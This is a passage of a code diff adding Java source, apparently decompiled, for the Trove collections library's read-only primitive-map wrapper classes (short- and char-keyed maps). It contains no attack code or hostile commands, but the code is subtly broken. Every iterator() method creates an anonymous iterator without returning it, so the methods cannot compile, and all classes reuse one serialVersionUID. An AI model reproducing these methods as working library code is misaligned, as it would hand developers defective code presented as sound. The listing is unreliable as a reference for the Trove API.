+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortDoubleIterator iterator() {
+      new gnu.trove.iterator.TShortDoubleIterator() {
+        gnu.trove.iterator.TShortDoubleIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(short key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(short key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortFloatMap
+    implements TShortFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TShortFloatMap m;
+    
+    public TUnmodifiableShortFloatMap(TShortFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(short key) { return m.get(key); }
+    
+    public float put(short key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(TShortFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortFloatIterator iterator() {
+      new gnu.trove.iterator.TShortFloatIterator() {
+        gnu.trove.iterator.TShortFloatIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(short key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(short key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortIntMap
+    implements gnu.trove.map.TShortIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TShortIntMap m;
+    
+    public TUnmodifiableShortIntMap(gnu.trove.map.TShortIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(short key) { return m.get(key); }
+    
+    public int put(short key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TShortIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortIntIterator iterator() {
+      new gnu.trove.iterator.TShortIntIterator() {
+        gnu.trove.iterator.TShortIntIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(short key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(short key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortLongMap
+    implements TShortLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TShortLongMap m;
+    
+    public TUnmodifiableShortLongMap(TShortLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(short key) { return m.get(key); }
+    
+    public long put(short key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(TShortLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortLongIterator iterator() {
+      new gnu.trove.iterator.TShortLongIterator() {
+        gnu.trove.iterator.TShortLongIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(short key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(short key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortByteMap
+    implements gnu.trove.map.TShortByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TShortByteMap m;
+    
+    public TUnmodifiableShortByteMap(gnu.trove.map.TShortByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(short key) { return m.get(key); }
+    
+    public byte put(short key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TShortByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortByteIterator iterator() {
+      new gnu.trove.iterator.TShortByteIterator() {
+        gnu.trove.iterator.TShortByteIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(short key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(short key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortShortMap
+    implements TShortShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TShortShortMap m;
+    
+    public TUnmodifiableShortShortMap(TShortShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(short key) { return m.get(key); }
+    
+    public short put(short key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(TShortShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortShortIterator iterator() {
+      new gnu.trove.iterator.TShortShortIterator() {
+        gnu.trove.iterator.TShortShortIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(short key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(short key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortCharMap
+    implements TShortCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TShortCharMap m;
+    
+    public TUnmodifiableShortCharMap(TShortCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(short key) { return m.get(key); }
+    
+    public char put(short key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(TShortCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortCharIterator iterator() {
+      new gnu.trove.iterator.TShortCharIterator() {
+        gnu.trove.iterator.TShortCharIterator iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(short key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(short key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(short key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(short key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharDoubleMap
+    implements TCharDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TCharDoubleMap m;
+    
+    public TUnmodifiableCharDoubleMap(TCharDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(char key) { return m.get(key); }
+    
+    public double put(char key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(TCharDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharDoubleIterator iterator() {
+      new gnu.trove.iterator.TCharDoubleIterator() {
+        gnu.trove.iterator.TCharDoubleIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(char key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(char key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharFloatMap
+    implements TCharFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TCharFloatMap m;
+    
+    public TUnmodifiableCharFloatMap(TCharFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(char key) { return m.get(key); }
+    
+    public float put(char key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(TCharFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharFloatIterator iterator() {
+      new gnu.trove.iterator.TCharFloatIterator() {
+        gnu.trove.iterator.TCharFloatIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(char key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(char key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharIntMap
+    implements gnu.trove.map.TCharIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TCharIntMap m;
+    
+    public TUnmodifiableCharIntMap(gnu.trove.map.TCharIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(char key) { return m.get(key); }
+    
+    public int put(char key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TCharIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharIntIterator iterator() {
+      new gnu.trove.iterator.TCharIntIterator() {
+        gnu.trove.iterator.TCharIntIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(char key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(char key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharLongMap
+    implements TCharLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TCharLongMap m;
+    
+    public TUnmodifiableCharLongMap(TCharLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(char key) { return m.get(key); }
+    
+    public long put(char key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(TCharLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
